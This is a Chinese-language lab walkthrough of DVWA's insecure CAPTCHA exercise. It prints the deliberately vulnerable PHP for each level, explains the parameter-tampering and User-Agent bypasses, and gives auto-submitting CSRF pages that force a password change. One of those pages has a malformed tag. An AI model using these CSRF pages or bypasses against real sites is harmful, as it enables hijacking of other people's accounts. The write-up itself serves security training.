驗證碼最大的作用就是防止攻擊者使用工具或者軟件自動調用系統功能
就如Captcha的全稱所示,他就是用來區分人類和計算機的一種圖靈測試,這種做法可以很有效的防止惡意軟件、機器人大量調用系統功能:比如注冊、登錄功能。
我們前面講到的Brute Force字典式暴力破解,就必須要使用工具大量嘗試登錄。如果這個時候系統有個嚴密的驗證碼機制,此類攻擊就無計可施了。
而現在這一關就是不嚴密的,所以可以繞過。。
這關開始前我們可能遇到不能正常顯示的情況,需要在配置文件中加入谷歌的密鑰:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
這樣就好了。
Low級:
<?php // 步驟1 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } // 步驟2 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?>
看代碼,這里修改密碼是分成二個部分的,我加上了步驟1和步驟2。
一個部分是用來判斷驗證碼的正確性,如果正確了就再返回密碼的界面,這個界面就不再需要輸入驗證碼的,按提交就可以修改密碼了。這兩個部分的用 form 表單的 step 字段區分。。
漏洞利用方法一:burp抓包
輸入新密碼,然后抓包
更改step參數繞過驗證碼:
這樣就修改好了。
方法二:沒有防CSRF,構造攻擊頁面,代碼如下:
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
當有人訪問這個頁面時,攻擊腳本會偽造改密請求發送給服務器,然后就會出現密碼被修改成功的頁面。
Medium級:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?>
可以看到,Medium級別的代碼在第二步驗證時,參加了對參數passed_captcha的檢查,如果參數值為true,則認為用戶已經通過了驗證碼檢查,
然而用戶依然可以通過偽造參數繞過驗證。
方法一 :修改密碼,抓包
改包:增加passed_captcha參數,繞過驗證碼。
這樣密碼就改好了。
方法二:CSRF攻擊界面方式
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="passed_captcha" value="true"> <input type="hidden" name="step" value="2"> <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
High級:
<?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
我們發現High驗證改成了單步,加入了另一個參數'g-recaptcha-response',加入驗證user-agent。
通過前兩個級別的攻破,我們應該知道,增加的這個參數根本沒啥用;而user-agent也是完全可以改包的。
接着抓包,
更改參數g-recaptcha-response以及http包頭的User-Agent:
這樣就好了。我們重新登錄一下試試
Impossible級:
Impossible級別的代碼增加了Anti-CSRF token 機制防御CSRF攻擊,利用PDO技術防護sql注入,驗證過程終於不再分成兩部分了,驗證碼無法繞過,同時要求用戶輸入之前的密碼,進一步加強了身份認證。